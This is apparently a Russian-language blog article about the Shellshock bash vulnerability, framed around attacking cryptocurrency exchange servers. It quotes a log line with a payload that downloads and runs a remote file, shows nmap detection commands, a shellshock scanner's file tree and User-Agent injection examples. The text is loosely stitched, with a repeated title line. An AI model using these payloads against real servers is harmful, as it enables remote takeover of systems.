1192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;”

Существуют также некоторые патчи для среды bash, которые протоколируют каждую команду, передаваемую bash-интерпретатору, что позволяет проследить, не был ли ваш компьютер атакован. Они не защитят вас от атаки, использующей данную уязвимость, но отразят в журнале действия атакующей стороны в вашей системе.

│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt

Насколько серьезна данная угроза?

Угроза действительно серьезна, но не каждая система является уязвимой. Так, для успешной атаки на веб-сервер требуется выполнение ряда условий. Одной из самих больших проблем сейчас является то, что после публикации патчей исследователи начинают искать другие способы эксплуатации среды bash, анализировать различные условия, делающие эксплуатацию возможной, и т.п. В связи с этим патч, защищающий от удаленного выполнения кода, никак не сможет предотвратить, например, перезапись файла. По всей видимости, в будущем будет опубликован целый ряд патчей, а до тех пор системы будут оставаться уязвимыми.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Это новый Heartbleed?

По сравнению с Heartbleed эту уязвимость гораздо легче эксплуатировать. Кроме того, в случае Heartbleed киберпреступник мог только похитить данные из памяти в надежде на то, что среди них встретится что-нибудь стоящее, в то время как уязвимость bash делает возможным полный контроль над системой. Такие образом, она представляется намного более опасной, чем Heartbleed.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Может ли эта уязвимость в будущем быть использована для проведения APT-атак?

Конечно, в будущем эта уязвимость может быть использована для разработки вредоносных программ. Могут появиться вредоносные программы, автоматически проверяющие атакуемую инфраструктуру на наличие данной уязвимости, с целью дальнейшего заражения системы или проведения других видов атак.


Эта уязвимость связана с функцией «экспорта функций» bash . Команда экспорта используется для экспорта переменной или функции в среду всех дочерних процессов, работающих в текущей оболочке. Эта функция «экспорта функций» реализуется путем кодирования сценариев в таблице, которая является общей для всех экземпляров и называется списком переменных среды.

Хотя Bash не является службой, подключенной к Интернету, многие сетевые и интернет-службы используют переменные среды для связи с ОС сервера. Если эти переменные среды не очищаются перед выполнением, злоумышленник может отправлять команды через HTTP-запросы и выполнять их операционной системой сервера.

Векторы эксплуатации:

  1. Веб-сервер на основе CGI
  2. OpenSSH-сервер
  3. DHCP-клиенты
  4. Qmail-сервер
  5. Ограниченная оболочка IBM HMC
  6. Веб-сервер на основе CGI:

CGI означает «Общий интерфейс шлюза» и используется для обработки запросов документов. Когда определенный объем информации копируется из запроса в список переменных среды и если этот запрос делегируется программой-обработчиком, которая представляет собой сценарий bash, тогда bash получит переменные среды, переданные сервером, и обработает их. Это дает злоумышленнику возможность активировать уязвимость Shellshock с помощью специально созданного запроса документа.

Nmap :

You can use this two commands to find whether the target website is vulnerable to Shellshock or not.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

CGI использует bash в качестве обработчика запросов по умолчанию, и эта атака не требует какой-либо аутентификации, поэтому большая часть атак происходит на страницах CGI с целью использования этой уязвимости. CGI-скрипты могут быть чрезвычайно опасны, если их тщательно не проверять.

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

2. Сервер OpenSSH:

OpenSSH также известен как OpenBSD Secure Shell. Это набор безопасных сетевых утилит, основанных на протоколе SSH, который обеспечивает безопасный канал через незащищенную сеть в архитектуре клиент-сервер.

OpenSSH имеет функцию «ForceCommand» , при которой при входе пользователя в систему выполняется фиксированная команда, а не просто запуск неограниченной командной оболочки. Фиксированная команда выполняется, даже если пользователь указал, что должна быть запущена другая команда; в этом случае исходная команда помещается в переменную среды «SSH_ORIGINAL_COMMAND» . Когда принудительная команда запускается в оболочке Bash, оболочка Bash анализирует переменную среды SSH_ORIGINAL_COMMAND при запуске и запускает встроенные в нее команды. Пользователь использовал свой ограниченный доступ к оболочке, чтобы получить неограниченный доступ к оболочке, используя ошибку Shellshock.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

3. DHCP-клиенты:

DHCP означает протокол динамической конфигурации хоста. Это протокол управления сетью, используемый в сетях Интернет-протокола, при котором DHCP-сервер динамически назначает IP-адрес и другие параметры конфигурации сети каждому устройству в сети, чтобы они могли взаимодействовать с другими IP-сетями.

Некоторые клиенты DHCP также могут передавать команды Bash; уязвимая система может быть атакована при подключении к открытой сети Wi-Fi. Клиент DHCP обычно запрашивает и получает IP-адрес от сервера DHCP, но ему также может быть предоставлен ряд дополнительных опций. В одном из этих вариантов вредоносный DHCP-сервер может предоставить строку, предназначенную для выполнения кода на уязвимой рабочей станции или ноутбуке.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

4. Сервер Qmail:

Qmail — это агент передачи почты, работающий в Unix. Он был написан в декабре 1995 года Дэниелом Дж. Бернштейном как более безопасная замена популярной программы Sendmail.

При использовании Bash для обработки сообщений электронной почты (например, через канал .forward или qmail-alias) почтовый сервер qmail передает внешние входные данные таким образом, что можно использовать уязвимую версию Bash.

Checking for CGI scripts

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

5. Ограниченная оболочка IBM HMC:

Ограниченная оболочка — это оболочка Unix, которая ограничивает некоторые возможности, доступные интерактивному сеансу пользователя или сценарию оболочки, выполняющемуся в ней. Он предназначен для обеспечения дополнительного уровня безопасности, но его недостаточно для запуска полностью ненадежного программного обеспечения.

Эту ошибку можно использовать для получения доступа к Bash из ограниченной оболочки IBM Hardware Management Console , крошечного варианта Linux для системных администраторов. IBM выпустила исправление для решения этой проблемы.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Векторы атаки Shellshock?

Когда вы отправляете запрос и когда этот запрос получен сервером, есть три части запроса, которые могут быть уязвимы для атаки Shellshock.

  1. Запрошенный URL
  2. Заголовки в запросах (например, пользовательский агент, реферер и т. д.)
  3. Аргументы в запросах (например, имя, идентификатор и т. д.)

Уязвимость Shellshock обычно возникает, когда злоумышленник изменяет исходный HTTP-запрос, чтобы он содержал магический () { :; }; нить.

Предположим, злоумышленник изменил заголовок User-Agent с Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 на просто () { :; }; /bin/извлечь

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Это создаст следующую переменную внутри веб-сервера: HTTP_USER_AGENT=() { :; }; /bin/извлечь

Теперь, если веб-сервер передает эту переменную в bash, возникает уязвимость Shellshock.

Вместо того, чтобы рассматривать переменную HTTP_USER_AGENT как последовательность символов, не имеющую особого значения, bash интерпретирует ее как команду, которую необходимо выполнить. Проблема в том, что HTTP_USER_AGENT исходит из заголовка User-Agent , который контролируется злоумышленником, поскольку он поступает на веб-сервер в HTTP-запросе.


Литература:


Исходный код

POLYNONCE ATTACK

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/fIYYi1kGEnc

Источник: https://cryptodeep.ru/shellshock-attack-on-bitcoin


ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Crypto Deep Tech